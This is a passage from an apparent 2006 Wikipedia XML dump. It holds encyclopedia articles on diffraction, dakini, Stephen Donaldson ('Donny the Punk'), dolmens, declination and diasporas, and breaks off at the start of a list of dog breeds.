|&lt;math&gt;= C \frac{\sin\frac{ka\sin\theta}{2}}{\frac{ka\sin\theta}{2}}\frac{\frac{e^{-iNkd \frac{\sin\theta}{2}} - e^{iNkd\frac{\sin\theta}{2}}}{2i}}{\frac{e^{-ikd\frac{\sin\theta}{2}} - e^{ikd\frac{\sin\theta}{2}}}{2i}} \left(e^{i(N-1)kd\frac{\sin\theta}{2}}\right)&lt;/math&gt;
|-
|
|&lt;math&gt;= C \frac{\sin\left(\frac{ka\sin\theta}{2}\right)}{\frac{ka\sin\theta}{2}} \frac{\sin\left(\frac{Nkd\sin\theta}{2}\right)} {\sin\left(\frac{kd\sin\theta}{2}\right)}e^{i\left(N-1\right)kd\frac{\sin\theta}{2}} &lt;/math&gt;
|}

We now make our ''k'' substitution as before and represent all non-oscillating constants by the &lt;math&gt;I_0&lt;/math&gt; variable as in the 1-slit diffraction and bracket the result.  Remember that 

:&lt;math&gt;\langle e^{ix} \Big| e^{ix}\rangle\ = e^0 = 1&lt;/math&gt;

This allows us to discard the tailing exponent and we have our answer:

:&lt;math&gt;I\left(\theta\right)\, &lt;/math&gt;
:&lt;math&gt;=I_0 \left[ \operatorname{sinc} \left( \frac{\pi a}{\lambda} \sin \theta \right) \right]^2 &lt;/math&gt;
:&lt;math&gt;\left[\frac{\sin\left(\frac{N\pi d}{\lambda}\sin\theta\right)}{\sin\left(\frac{\pi d}{\lambda}\sin\theta\right)}\right]^2&lt;/math&gt;

==Other cases==

===Bragg diffraction===

Diffraction from multiple slits, as described above, is similar to what occurs when waves are scattered from a periodic structure, such as atoms in a [[crystal]] or rulings on a [[diffraction grating]]. Each scattering center (e.g., each atom) acts as a point source of spherical wavefronts; these wavefronts undergo constructive [[interference]] to form a number of diffracted beams. The direction of these beams is described by ''Bragg's law'':

:&lt;math&gt; m \lambda = 2 d \sin \theta,\, &lt;/math&gt;

where &amp;lambda; is the [[wavelength]], ''d'' is the distance between scattering centers, &amp;theta; is the angle of diffraction and ''m'' is an integer known as the ''order'' of the diffracted beam. '''[[Bragg diffraction]]''' is used in [[X-ray crystallography]] to deduce the structure of a [[crystal]] from the angles at which [[X-ray]]s are diffracted from it. Since the diffraction angle &amp;theta; is dependent on the wavelength &amp;lambda;, diffaction gratings impart angular [[dispersion (optics)|dispersion]] on a beam of light. 

The most common demonstration of Bragg diffraction is the [[optical spectrum|spectrum]] of [[color]]s seen reflected from a [[compact disc]]: the closely-spaced tracks on the surface of the disc form a diffraction grating, and the individual wavelengths of white light are diffracted at different angles from it, in accordance with Bragg's law.

===Diffraction limit of telescopes===

[[Image:zboo_lucky_image_1pc.png|thumb|The [[Airy disc]] around each of the stars from the 2.56m telescope aperture can be seen in this [[lucky imaging|''lucky image'']] of the binary star [[zeta Boötis]].]]

For diffraction through a circular aperture, there is a series of concentric rings surrounding a central [[Airy disc]]. The mathematical result is similar to a radially symmetric version of the equation given above in the case of single-slit diffraction.

A wave does not have to pass through an aperture to diffract; for example, a beam of light of a finite size also undergoes diffraction and spreads in diameter. This effect limits the minimum size ''d'' of spot of light formed at the focus of a [[lens (optics)|lens]], known as the ''diffraction limit'':

:&lt;math&gt; d = 2.44 \lambda \frac{f}{a},\, &lt;/math&gt;

where &amp;lambda; is the wavelength of the light, ''f'' is the focal length of the lens, and ''a'' is the diameter of the beam of light, or (if the beam is filling the lens) the diameter of the lens. (See [[Rayleigh criterion]]).

By use of [[Huygens' principle]], it is possible to compute the diffraction pattern of a wave from any arbitrarily shaped aperture. If the pattern is observed at a sufficient distance from the aperture, it will appear as the two-dimensional [[Fourier transform]] of the function representing the aperture.

== See also ==

* [[Atmospheric diffraction]]
* [[Diffraction grating]]
* [[Electron diffraction]]
* [[Neutron diffraction]]
* [[X-ray_diffraction|X-ray diffraction]]

== External links ==
{{Commons|Diffraction}}
* [http://www.falstad.com/wave2d/ 2-D wave java applet] displays diffraction patterns of various slit configurations.
* [http://www.falstad.com/diffraction/ Diffraction java applet] displays diffraction patterns of various 2-D apertures.
* [http://www.mit.edu/~birge/fraunhofer/ Diffraction approximations illustrated] MIT site that illustrates the various approximations in diffraction and intuitively explains the Fraunhofer regime.
* [http://www.cambridgeincolour.com/tutorials/diffraction-photography.htm Diffraction Limited Photography] understanding how airy disks, lens aperture and pixel size limit the absolute resolution of any camera.

[[category:Diffraction| ]]
[[Category:Optics]]
[[Category:Wave mechanics]]

[[ca:Difracció]]
[[da:Diffraktion]]
[[de:Beugung (Physik)]]
[[es:Difracción]]
[[eo:Difrakto]]
[[fa:پراش]]
[[fr:Diffraction]]
[[gl:Difracción]]
[[nl:Diffractie]]
[[ja:回折]]
[[pl:Dyfrakcja]]
[[pt:Difração]]
[[ru:Дифракция]]
[[sv:Diffraktion]]
[[uk:Дифракція]]
[[zh:衍射]]</text>
    </revision>
  </page>
  <page>
    <title>Dakini</title>
    <id>8604</id>
    <revision>
      <id>40748044</id>
      <timestamp>2006-02-22T19:36:06Z</timestamp>
      <contributor>
        <username>TheNeon</username>
        <id>785184</id>
      </contributor>
      <text xml:space="preserve">{{Buddhism}}

A '''dakini''' ([[Sanskrit]]: &quot;sky dancer&quot;; [[Chinese language]]: 空行女) is a [[Tantra|Tantric]] [[priest]]ess of ancient [[India]] who &quot;carried the [[soul]]s of the [[dead]] to the sky&quot;.  This [[Buddhist]] figure is particularly upheld in [[Tibetan Buddhism]]. The dakini is a female being of generally volatile temperament, who acts as a muse for spiritual practice. Dakinis can be likened to [[elves]], [[angels]], or other such supernatural beings, and are symbolically representative of testing one's awareness and adherence to Buddhist tantric [[sadhana]].

==Origin==

According to [[legend]], members of the Indian royal [[caste]]s and the wealthy [[nobility]] brought their deceased to the far North to visit the Shrine of the Dakini (located at the foothills of the [[Himalaya]]). Other legends mention a [[Tibet]]an myth which says dakini first appeared in a remote area &quot;pure of man&quot;.

==Doctrine==

Dakini are timeless, inorganic, immortal, non-human [[being]]s who have co-existed since the very beginning with the Spiritual Energy. In some [[New Age]] belief systems, they are [[angel|angelic]].  This New Age [[paradigm]] differs from that of the [[Judeo-Christian]] by not insisting on angels being ''bona fide'' servants of [[God]]. Moreover, an angel is the Western equivalent of a dakini. The behavior of dakini has always been revelatory and mysterious; they respond to the state of spiritual energy within individuals. Love is their usual domain &amp;mdash; one explanation for dakini or angels supposedly living in the [[sky]] or [[heaven]]. Manifestations of dakini in human form occur because they supposedly can assume any form. Most often they appear as a human female. By convention, a male of this type is called a '''daka''.

In [[Tibetan Buddhism]] and other schools closely related to [[Yogacara]] and [[Vajrayana]] practises, a dakini is considered a [[supernatural]] being who tests a practitioner's abilities and commitments.  Many stories of the [[Mahasiddha]]s in [[Tibet]] contain passages where a dakini will come to perturb the would-be Mahasiddha. When the dakini's test has been fulfilled and passed, the practitioner is often then recognised as a Mahasiddha, and often is elevated into the [[Paradise of the Dakinis]], a place of enlightened bliss. It should be noted that while dakinis are often depicted as beautiful and naked, they are not sexual symbols, but rather natural ones. There are instances where a dakini has come to test a practitioner's control over their sexual desires, but the dakini itself is not a being of passion.

Tantric [[sex]] may involve a &quot;helper&quot; dakini &amp;mdash; a human female trained in Tantra [[Yoga]] &amp;mdash; or an &quot;actual&quot; dakini. Both increase the level of erotic pleasure for the sexual participants by helping them focus on a non-physical state of spiritual joy and the physical pleasure of sex at the same time.
[[Image:Varjayogini.JPG|right|thumb|250px|Tibetan Board Carving of Varjayogini Dakini]]

==Iconography==

Iconographic representations tend to show the dakini as a young, naked figure in a dancing posture, often holding a skull cup filled with menstrual blood or the elixir of life in one hand, and a curved knife in the other. She may wear a garland of human skulls, with a trident staff leaning against her shoulder. Her hair is usually wild and hanging down her back, and her face often wrathful in expression, as she dances on top of a corpse, which represents her complete mastery over ego and ignorance. Practitioners often claim to hear the clacking of her bone adornments as the dakinis indulge in their vigorous movement. Indeed these unrestrained damsels appear to revel in freedom of every kind.

==References==

* [http://www.exoticindiaart.com/article/dakini Dance of the Yogini: Images of Aggression in Tantric Buddhism]

==External links==
*[http://www.dakini.demon.co.uk/ Dakini and the Female Spirit]
*[http://www.buddhanature.com/buddha/bluedakini.html A Contemplative View of the Blue Dakini]               
*[http://www.buddhanature.com/buddha/blackdakini.html A Contemplative View of the Black Dakini]        
*[http://www.buddhanature.com/buddha/emeralddakini.html A Contemplative View of the Emerald Dakini]       


[[Category:Tibetan Buddhism]]
[[de:Dakini]]
[[fr:Dakini]]
[[ru:Дакини]]</text>
    </revision>
  </page>
  <page>
    <title>Donny the Punk</title>
    <id>8605</id>
    <revision>
      <id>36119406</id>
      <timestamp>2006-01-21T19:46:15Z</timestamp>
      <contributor>
        <ip>70.51.154.110</ip>
      </contributor>
      <comment>/* Reference */</comment>
      <text xml:space="preserve">[[de:Donny the Punk]]

'''Donny the Punk''' is a nickname for '''Stephen Donaldson''', founder of [[Stop Prisoner Rape, Inc.]].   

Stephen Donaldson was born in the US, just in time to make him at the right age to be able to protest against the [[Vietnam War]]. And so he did, in a [[Religious Society of Friends|Quaker]] peace rally, until the peaceful demonstrators were arrested by the police. Most got out on $10 bail, but Donny refused to pay out of principle. 

He was moved into a jail wing full of hardened criminals on orders from the warden. That night he was anally and orally [[rape]]d dozens of times. He had injuries to his [[rectum]] so severe that he had to spend weeks in a hospital after the attack. This sort of treatment of anti-war protesters has not been acknowledged in the United States, and it is unknown how often it happened. Due to the stigma of being a rape victim, the crime was and continues to be extremely underreported.

He went on to have severe emotional problems, landing back in jail a couple times, but also taking a number of graduate school classes at [[Columbia University]] to study religion. During his subsequent incarcerations, he would 'hook up' with powerful male inmates to keep from being beaten and attacked again; although, he would have to have sex in exchange for this protection. This is where the word &quot;Punk&quot; in his name comes from. A [[jail house punk]] is the  term used to refer to the inmates who trade sex for inclusion into a group that ensures their physical safety.

He went on to found &quot;Stop Prisoner Rape, Inc.&quot;, an organization that helps prisoners deal with the psychological and physical trauma of rape, and works to prevent it happening. He was perhaps the first anti male-rape activist with any amount of public attention in the United States.

As Donny the Punk, he was also a respected writer and personality in the [[Punk rock]] and anti-racist [[skinhead]] movements and was published in [[Fanzines|fanzines]] such as [[Maximum RocknRoll]] and [[J.D.s]].  

He died in the 1990s from [[AIDS]].

==Reference==
*http://www.spr.org
[[Category:People known in connection with identity politics]] [[Category:Punk]] [[Category:Queercore]] [[Category:Activists]]</text>
    </revision>
  </page>
  <page>
    <title>Deir Yassin incident</title>
    <id>8607</id>
    <revision>
      <id>15906583</id>
      <timestamp>2002-08-04T15:19:48Z</timestamp>
      <contributor>
        <username>Jennifer</username>
        <id>2295</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Deir Yassin massacre]]</text>
    </revision>
  </page>
  <page>
    <title>Dolmen</title>
    <id>8608</id>
    <revision>
      <id>41630415</id>
      <timestamp>2006-02-28T17:25:07Z</timestamp>
      <contributor>
        <ip>129.33.49.251</ip>
      </contributor>
      <comment>Added Category:Monument types</comment>
      <text xml:space="preserve">'''Dolmens''' (also known as '''cromlechs''', '''Hünengräber''', '''Hunebedden''' and '''quoits''') are [[megalithic tomb]]s consisting of large stones ([[megalith]]s) set in formation and originally covered with earth or more, smaller stones. In many cases the covering has been weathered away leaving only the stone 'skeleton' of the monument. They are a single-chamber type of [[megalithic tomb]].

As indicated above, &quot;dolmen&quot; is not the only word used to identify these structures. &quot;Dolmen&quot; means &quot;stone table&quot; in [[Breton language|Breton]] &lt;!--Query &quot;quoit&quot; for: and [[Cornish language|Cornish]]--&gt; and was first used archælogically by [[Théophile Corret de la Tour d'Auvergne]]. The [[etymology]] of the [[German language|German]] ''Hünenbett'' or ''Hünengrab'' and [[Dutch language|Dutch]] ''Hunebed'' all invoke the imagery of [[Giant (mythology)|giant]]s building the structures. Of other [[Celtic languages]], &quot;[[cromlech]]&quot; derives from [[Welsh language|Welsh]] and &quot;quoit&quot; is commonly used in [[Cornwall]].

These [[megalithic]] [[tomb]]s are found on the [[North Sea]] and [[Baltic Sea]] coasts. ''Hunebedden'' are [[chamber tomb]]s similar to dolmens and date to the middle [[Neolithic]] ([[Funnelbeaker culture]], [[4th millennium BC]]). They consist of a [[kerb]] surrounding an [[Oval (geometry)|oval]] mound which covered a [[rectangle|rectangular]] chamber of stones with the entrance on one of the long sides. Some have a more complex layout and include an entrance passage giving them a T-shape. It has been suggested that this means they are related to the [[Passage grave]]s found in [[Denmark]] and elsewhere.

In [[Mecklenburg]] and [[Pomerania]], large numbers of these graves were disturbed when towns and cities were built. The boulders came in handy for [[construction]] and [[road]] building. There are still many thousands left today in Europe: for example, more than a thousand on the island of [[Rügen]] alone.

Similar tombs can be found all over the world. [[Korea]] is said to contain half of the world's total, dating from the [[1st millennium BC]]. The dolmen in [[Ganghwa]] is a northern-type, table-shaped dolmen where ancestral rites were held. It is the biggest stone of this kind in [[South Korea]], measuring 2.6 by 7.1 by 5.5 [[metre]]s.

Dolmens are also present in [[Syria]] in the [[Golan Heights]]. 
&lt;gallery&gt;
image:hunebed-d27.jpg|T-shaped Hunebed D27 in [[Borger-Odoorn]], [[Netherlands]], recent.
image:hunebed-d27-vg.jpg|Same Hunebed D27 in [[1924]].
image:Dolmen axeitos.JPG|Dolmen de Axeitos, [[Galicia, Spain|Galicia]], [[Spain]].
image:Antadaaboboreira.jpg|Dolmen da Aboboreira, [[Baião]], [[Portugal]].
image:paulnabrone.jpg|Poulnabrone dolmen in [[County Clare]], [[Ireland]].
&lt;/gallery&gt;
== See also ==

* [[Dolmen deity]]
* [[Portal dolmen]]
* [[Stone circle]]
* [[Neolithic Europe]]
* [[Megalith]]


== External links == 
* {{nl icon}} [http://members.home.nl/jbmeijer/hunepic.htm Pictures of ''Hunebedden'' in the Netherlands]
* [http://www.burrenforts.ie/mainj/dolmen.htm Poulnabrone Dolmen in the Burren, County Clare, Ireland]
* [http://whc.unesco.org/archive/advisory_body_evaluation/977.pdf Dolmen (''Goindol'') sites in Korea] on the [[World Heritage List]] ([[PDF]] document by [[UNESCO]] advisory body)
* [http://members.chello.nl/r.j.triest/dolmens.html Dolmen Pictures] by Robert Triest

&lt;!--Categories--&gt;
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[[Category:Death customs]]
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[[Category:Monument types]]
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  </page>
  <page>
    <title>Diaspora Studies</title>
    <id>8610</id>
    <revision>
      <id>15906585</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Diaspora studies]]
</text>
    </revision>
  </page>
  <page>
    <title>Declination</title>
    <id>8612</id>
    <revision>
      <id>42045792</id>
      <timestamp>2006-03-03T12:35:12Z</timestamp>
      <contributor>
        <username>KnightRider</username>
        <id>430793</id>
      </contributor>
      <minor />
      <comment>warnfile  Adding: es</comment>
      <text xml:space="preserve">In [[astronomy]], '''declination (dec)''' is one of the two coordinates of the [[equatorial coordinate system]], the other being either [[right ascension]] or [[hour angle]]. Dec is comparable to [[latitude]], projected unto the [[celestial sphere]], and is measured in degrees north and south of the celestial [[equator]]. Therefore, points north of the celestial equator have positive declination, while those to the south have negative declination.

*An object on the [[celestial equator]] has a dec of 0°.
*An object above the [[north pole]] has a dec of +90°.
*An object above the [[south pole]] has a dec of &amp;minus;90°.

Note that the sign must be included even if positive.

A celestial object that passes over [[zenith]], has a declination equal to the observer's latitude, with northern latitudes yielding positive declinations. A [[pole star]] therefore has the declination +90° or -90°. Conversely, celestial objects with a declination higher than &lt;math&gt;90^o - l&lt;/math&gt;, where ''l'' is the latitude, are visible the whole [[sidereal day]]. Such stars are called [[circumpolar]], while the phenomenon of a sun not setting is called [[midnight sun]].

==Varying declination==
The declination of all [[celestial object]]s vary over time, in different periods.

===Sun===
The declination of the [[sun]] ('''Sun Dec''') is the angle between the rays of the sun and the plane of the earth equator. Since the angle between the earth axis and the plane of the earth orbit is nearly constant, Sun Dec varies with the [[seasons]] and its period is one [[year]], that is the time needed by the earth to complete its revolution around the sun.

When the projection of the earth axis on the plane of the earth orbit is on the same line linking the earth and the sun, the angle between the rays of the sun and the plane of the earth equator is maximum and its value is 23°27'. This happens at the [[solstice|solstices]]. Therefore Sun Dec is +23°27' at the northern hemisphere [[summer solstice]] and -23°27' at the northern hemisphere [[winter solstice]].

When the projection of the earth axis on the plane of the earth orbit is perpendicular to line linking the earth and the sun, the angle between the rays of the sun and the plane of the earth equator is null. This happens at the [[equinox|equinoxes]]. Therefore Sun Dec is 0° at the [[equinox|equinoxes]].

Since the eccentricity of the earth orbit is quite low, it can be approximated to a circle, and Sun Dec is approximately given by the following expression:

&lt;math&gt;\delta = -23.45^\circ \cdot \cos \left ( \frac{360}{365} \cdot \left ( N + 10 \right ) \right )&lt;/math&gt; if ''cos'' operates on [[degree (angle)|degree]]s

&lt;math&gt;\delta = -23.45^\circ \cdot \cos \left ( \frac{2\pi}{365} \cdot \left ( N + 10 \right ) \right )&lt;/math&gt; if ''cos'' operates on [[radian]]s

where &lt;math&gt;N&lt;/math&gt; is Day of the Year, that is the number of days spent since [[January 1]].

The errors caused by this approximation are then contemplated by the [[Equation of Time]].

[[Image:Sun-declination.png|frame|none|A diagram demonstrating how the [[Sun]]'s path over the celestial sphere changes with the varying [[declination]] during the year, marking the [[Azimuth]]s in °N where the sun rises and sets at [[summer solstice|summer]] and [[winter solstice]] at a place of 56°N latitude.]]

===Moon===
The [[Moon]] also has an annual cycle, with maximum declination at northern hemisphere midwinter and minimum at midsummer. There is also an approximately 19 year long cycle, varying the maximum declination from +28°35' to +18°18' and the minimum from -18°18' to -28°35'.

===Stars===
The [[star]]s have approximately the same declination from year to year, but they do have [[proper motion]] that can be measured in whole degrees after the passing of centuries.

==See also==
*[[right ascension]]

----
'''Declination''' is used in some contexts that rule out astronomical declination, to mean the same as ''[[magnetic declination]]''.

Declination is occasionally and erroneously used to refer to the linguistic term [[declension]].

[[Category:Spherical astronomy]]
[[Category:Celestial coordinate system]]
[[Category:Angle]]

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[[vi:Xích vĩ]]</text>
    </revision>
  </page>
  <page>
    <title>Diaspora</title>
    <id>8613</id>
    <revision>
      <id>41884237</id>
      <timestamp>2006-03-02T10:03:17Z</timestamp>
      <contributor>
        <ip>69.58.224.12</ip>
      </contributor>
      <comment>changed 'bce' to 'bc' and 'ce' to 'ad'</comment>
      <text xml:space="preserve">{{wiktionary}}The term '''''diaspora''''' ([[Ancient Greek]] &amp;delta;&amp;iota;&amp;alpha;&amp;sigma;&amp;pi;&amp;omicron;&amp;rho;&amp;#940;, &quot;a scattering or sowing of seeds&quot;) is used (without capitalization) to refer to any people or [[ethnicity|ethnic]] population forced or induced to leave their traditional ethnic [[homeland]]s; being dispersed throughout other parts of the world, and the ensuing developments in their dispersal and culture. 

Originally, the term '''''Diaspora''''' (capitalized) was used by the Greeks to refer to citizens of an imperial city who migrated to a conquered land with the purpose of colonization to assimilate the territory into the empire. The original meaning was cut off from the present meaning when the Old Testament was translated to Greek, the word diaspora was used to refer specifically to the populations of [[Jew]]s exiled from [[Judea]] in [[586 BC]] by the [[Babylonian]]s, and Jerusalem in [[135|135 AD]] by the [[Roman Empire]]. This term is used interchangeably to refer to the historical movements of the dispersed ethnic population of [[Israel]], the cultural development of that population, or the population itself. The probable origin of the word is the [[Septuagint]] version of [[Deuteronomy]] 28:25, &quot;thou shalt be a diaspora (Greek for dispersion) in all kingdoms of the earth&quot;. The term has been used in its modern sense since the late [[20th century|twentieth century]].

The academic field of [[diaspora studies]] was established in the late twentieth century, in regard to the expanded meaning of 'diaspora'. Jacob Riis, a profound writer,concluded that diaspora was established in the mid twentieth century but it was a confirmed fact that the expanded meaning of diaspora was thouroughly researched in the late twentieth century.

History is replete with diaspora-like events. The [[Migration Period]] relocations, which included several phases is just one of many. The first phase Migration Period displacement from between AD [[300]] and [[500]] included relocation of the [[Goths]] ([[Ostrogoths]], [[Visigoths]]), [[Vandals]],  [[Franks]], various [[Germanic tribes|Germanic]] tribes, [[Burgundians]], [[Alans]], [[Langobards]], [[Angles]], [[Saxons]], [[Jutes]], [[Suebi]], [[Alamanni]]) and numerous [[Slavic peoples|Slavic tribes]].  The second phase, between AD [[500]] and [[900]], saw [[Slavic peoples|Slavic]], [[Turkic people|Turkish]] and other tribes on the move, re-settling in Eastern Europe and gradually making it predominantly Slavic, and affecting [[Anatolia]] and the [[Caucasus]] as the first [[Turkic peoples]] ([[Eurasian Avars|Avars]], [[Huns]], [[Arabs]], [[Varangian]]s} arrived. The last phase of the migrations saw the coming of the [[Magyars]] and the [[Vikings|Viking]] expansion out of Scandinavia.

The twentieth century continued to see massive ethnic refugee crises, due to war and the rise of [[nationalism]], [[fascism]], [[communism]] and [[racism]], as well as from natural disasters and [[economics|economic]] collapse. The first half of the twentieth century saw the creation of hundreds of millions of ethnic refugees across Europe, Asia, and northern Africa. Many of these refugees who did not die from starvation or war went to the Americas.

==List of notable diasporas==
* The [[Acadian|Acadian Diaspora]] or [[Great Expulsion]] (''Grand Dérangement'') occurred when the British expelled ~10,000 Acadians (over three-fourths of the Acadian population in Nova Scotia) between 1755 and 1764. The British sent members of the same community to different colonies to impose [[cultural assimilation|assimilation]].
* [[Afghanistan|Afghan people]] who fled their country throughout the 20th century and the long civil wars
* The [[African diaspora]] comprises the indigenous peoples of Africa and their descendants, wherever they are in the world beyond the African continent.  Some [[Pan-Africanism|Pan-Africanists]] and [[Afrocentrism|Afrocentrists]] also consider other [[Negroid]] (or &quot;[[Africoid]]&quot;), [[Australoid]] (also called &quot;Veddoid&quot;), and black [[Caucasoid]] peoples as diasporic &quot;African peoples.&quot;  These groups include the [[Dravidians]] of South India, [[Indigenous Australians]]; and the [[indigenous people]]s of [[Southeast Asia]] ([[Thailand]], [[Java (island)|Java]], [[Borneo]], [[Sumatra]] and [[Malaysia]]); [[Melanesia]], [[Polynesia]] and [[New Guinea]].
*[[Arab]]s who have migrated out from the [[Arab World]], and now reside in [[Western Europe]], the [[Americas]], [[Australia]] and elsewhere. (see [[Arab diaspora]])
* [[Armenians]] living in their [[Ottoman Armenian Population|ancient homeland]], which had been controlled by the [[Ottoman Empire]] for centuries, fled persecution and massacres during several periods of forced emigration, from the [[1880s]] to the [[1910s]], including the [[Armenian Genocide]] of [[1915]]. Many Armenians settled in [[California]], [[France]] and [[Lebanon]] (see [[Armenian Diaspora]]).
* Almost 5% of the present-day Australian population lives outside of Australia; for a variety of reasons. This phenomenon is known as the [[Australian Diaspora]]
*[[Basque diaspora]], [[Basques]] who left the [[Basque Country]], usually to the Americas for economic or political reasons. There are also Basque Catholic missionaries.
* [[Chechens]] who fled [[Chechnya]] during the late 20th century insurrection against the [[Russian Federation]]
* [[Overseas Chinese|Chinese Diaspora]]
* [[Colombia|Colombian]] diaspora:  refers to the thoussands of peolple who have left the country looking for better quality of life or to the people who left Colombia after security problems with Drug-dealers,  Paramilitary groups or Guerrilla groups. They mainly went to USA, Canada and Spain. 
* [[Crimean Tatar diaspora]], formed after the annexation of the [[Crimean Khanate]] by [[Russia]], in [[1783]].
* The [[Philippines|Filipino]] peoples throughout [[Australia]], the [[USA]], [[Canada]] and South-East Asia. Overseas workers have their own political party in the Philippine Congress.
* The [[French Canadian diaspora]] includes hundreds of thousands of people who left [[Quebec]] for &quot;greener pastures&quot; in the [[United States]], [[Ontario]] and the [[Western Canada|Prairies]], between 1840 and the 1930s. 
* [[Galician diaspora]], [[Galicia (Spain)|Galicians]] who left their country for mainly economic reasons to richer areas of Spain or the Americas (especially Argentina and Cuba) and, later, Western Europe (Germany, Switzerland, France, Belgium).
* In [[modern Greek]], the word ''diaspora'' refers to the large populations of Greek descent living in the [[United States]], [[Australia]] and other countries. There is a Department of Diaspora Affairs in the Greek government.
* The [[Roma people|Roma]] (English terms: Gypsy, Gypsies), a traditionally 'dispersed' people in [[Europe]], with origins in [[South Asia]] (or perhaps, northern India), are even more 'dispersed' today, following [[the Holocaust]] of Nazi Germany. (See *[http://www2.arnes.si/~eusmith/Romany/names.html Some names for the Roma])
* The [[Heimatvertriebene]], the ethnic German refugees from the former German Empire during and following World War II, enlarged by the [[Oder-Neisse line]]
* The [[Irish diaspora]] consists of Irish emigrants and their descendants in countries such as the United States, the United Kingdom, Canada, Australia, New Zealand, Argentina, South Africa and nations of the Caribbean and continental Europe. The diaspora contains over 80 million people and it is the result of mass migration from Ireland, due to past famines and political oppression. The term first came widely into use in Ireland in the 1990s when the then-[[President of Ireland]], [[Mary Robinson]] began using it to describe all those of Irish descent.)
* The [[Jewish diaspora]] in its historical use, refers to the period between the destruction of the Jewish state by the Roman Empire in [[137]] CE, to the re-establishment of Israel in 1948.  In modern use, the 'Diaspora' refers to Jews living outside of the Jewish state of [[Israel]] today. There is a 'Ministry of Diaspora Affairs' in the Israeli government, for example.
* Palestinians who fled [[Palestine (region)|Palestine]] during the [[1948 Arab-Israeli War]] (see [[Palestinian exodus]], [[Palestinian refugee]]s) 
* &quot;[[Polonia]]&quot;, the diaspora of the [[Poles]], started with the emigrations after the [[partitions of Poland]], [[January Uprising]] and the [[November Uprising]], enlarged by the [[Nazi]] policies, and later by the establishment of the [[Curzon line]]
* The [[South Asian]] diaspora includes millions of people in [[Suriname]], [[South Africa]], [[Trinidad and Tobago]], [[Guyana]], [[Jamaica]], [[Mauritius]], [[Fiji]], [[Singapore]],  [[Malaysia]] and other countries who left [[British India]] in the 19th and early 20th century, and millions more who have moved to [[Australia]], [[Canada]], [[New Zealand]], the [[United States]], the [[United Kingdom]] and the [[United Arab Emirates]] in recent decades (see [[Desi]]).
* The Southeast Asian diaspora includes the refugees from the numerous wars that took place in Southeast Asia, such as [[World War II]] and the [[Vietnam War]].
** The [[Boat People]] who left Vietnam for [[Hong Kong]] after the Vietnam war.
* Various ethnic minorities from areas under Russian and Soviet control following the [[Russian Revolution of 1917|Russian Revolution]], continuing through the mass forced-resettlements under [[Stalin]].
* Various groups fled in large numbers from areas under Axis control during [[World War II]], or after the border changes following the war, and formed their own diasporas. 
* The [[Somali (ethnicity)|Somali]] diaspora that includes ethnic Somalis who live in Ethiopia, Kenya, and Djibouti, as well other parts of Africa. It also includes the one million people who live in Europe, Australia, New Zealand, North America, and the Middle East as refugees from the civil war. It altogether numbers between five and seven million. This is almost the same as the population of [[Somalia]] itself.   
* The [[South African diaspora]] mainly consists of white South African emigrants, especially to white [[Afrikaans]] speakers who have fled the country for a number of reasons. There is also a growing black middle class in South Africa, many of whom are starting to emigrate as well, furthering the demographic weight of South Africans abroad. South Africans have largely settled in the [[United Kingdom]], [[Australia]], the [[United States]], [[New Zealand]] and [[Canada]].
*The diaspora of the [[Tibetan people]] began in 1959 when the Chinese government violently attacked and forced the people of Tibet out of their lands and annexed it into the [[People's Republic of China]]. 
*Futuristic [[science fiction]] sometimes refers to a &quot;Diaspora&quot;, taking place when much of humanity leaves [[Earth]] to settle on far-flung &quot;colony worlds&quot;.

The above list is not comprehensive or definitive. Only a few have been given much historical attention.  There is much talk currently (after [[Hurricane Katrina]] in 2005) of a [[New Orleans]] or US Gulf Coast diaspora, but only time will tell how significant a number of those evacuees will indeed not return.

During the [[Cold War]] era, huge populations of refugees continued to form from areas of war, especially from Third World nations; all over [[Africa]], [[South America|South]] and [[Central America]], the [[Middle East]], and east [[Asia]].

==See also==
* [[Exodus]] is another Biblical term related to migration, but with a connotation of grouping rather than the scattering of a diaspora.

==External links==
*[http://web.worldbank.org/WBSITE/EXTERNAL/WBI/WBIPROGRAMS/KFDLP/0,,contentMDK:20692386~pagePK:64156158~piPK:64152884~theSitePK:461198,00.html Diasporas of Highly Skilled and Migration of Talent]
* [http://www.telugudiaspora.com Telugu Diaspora]
* [http://www.globaldiasporas.com Global Diasporas]
* [http://www.theindiandiaspora.com The Indian Diaspora]T.L.S.Bhaskar
* [http://www.tamilnation.org/diaspora The Tamil Diaspora - a Trans State Nation] Nadesan Satyendra
* [http://news.bbc.co.uk/1/hi/world/americas/4203360.stm Katrina scatters a grim diaspora] BBC
* [http://www.nytimes.com/2005/09/06/national/nationalspecial/06diaspora.html In Throes of a Diaspora, Two Families Bind] New York Times

&lt;!-- interwiki --&gt;

[[Category:Diasporas|*]]
[[Category:Human migration]]

[[de:Diaspora]]
[[es:Diáspora]]
[[fr:Diaspora]]
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[[he:גלות]]
[[id:Diaspora]]
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[[ja:ディアスポラ]]
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[[pl:Diaspora]]
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[[tr:Diaspora]]</text>
    </revision>
  </page>
  <page>
    <title>List of dog breeds</title>
    <id>8615</id>
    <revision>
      <id>42150467</id>
      <timestamp>2006-03-04T03:46:52Z</timestamp>
      <contributor>
        <username>SirIsaacBrock</username>
        <id>738557</id>
      </contributor>
      <comment>/* Sa-Se */ *[[Sakhalin Husky]]</comment>
      <text xml:space="preserve">[[Dog]]s have been selectively bred for thousands of years, sometimes by inbreeding dogs from the same ancestral lines, sometimes by mixing dogs from very different lines.  The process continues today, resulting in a tremendous variety of [[dog breed]]s. 

The following list uses a wide interpretation of &quot;breed&quot;.  Breeds listed here may be traditional breeds with long histories as registered breeds, rare breeds with their own registries, or new breeds that may still be under development. Please see individual articles for more information.  See also [[dog breed]] and [[breed]].

__NOTOC__
==Breed categories==
[[Image:IMG013biglittledogFX wb.jpg|thumb|right|This [[Chihuahua (dog)|Chihuahua]] [[mixed-breed dog|mix]] and [[Great Dane]] show some of the tremendous variety of dog breeds.]]
Dog breeds can be divided into different categories, such as:
*[[Hunting dog|Hunting]]
**[[Hound]]s, including [[Sight hound]]s and [[Scent hound]]s
**[[Gundog]]s, including [[Pointer (dog)|Pointer]]s, [[Retriever]]s, and [[Spaniel]]s
**[[Terrier]]
**[[Cur]]s and [[Feist (dog)|Feist]]s 
*[[working dog|Working]] (or [[utility dog|Utility]])
**[[Pastoral dog]]s, including [[Livestock guardian dog]]s, [[Herding dog]]s, [[Sheepdog]]s, and [[Drover (dog)|Drovers]]
